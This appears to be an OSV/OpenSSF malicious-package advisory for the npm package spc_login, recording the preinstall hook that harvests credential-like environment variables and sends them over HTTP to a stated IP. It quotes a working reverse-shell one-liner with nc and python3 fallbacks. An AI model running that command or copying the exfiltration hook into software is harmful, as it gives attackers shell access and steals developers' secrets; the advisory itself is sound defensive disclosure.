OpenSSF/OSV advisory MAL-2026-15622 confirms this npm version as malicious. package.json declares a preinstall hook ("node preinstall.js || true") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in spc_login (npm)
Details
package.json declares a preinstall hook ("node preinstall.js || true") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php. On non-Windows hosts the same script also executes a reverse-shell one-liner (bash -i >& /dev/tcp/216.126.236.46/4444 0>&1, with nc -e and python3 socket fallbacks), giving the operator of that endpoint interactive shell access to the installing machine. The package has no legitimate functionality; the only effect of installing it is credential harvest and remote code execution against the installer.
Decision reason
OpenSSF Malicious Packages via OSV confirms spc_login@1.0.0 as malicious (MAL-2026-15622): Malicious code in spc_login (npm)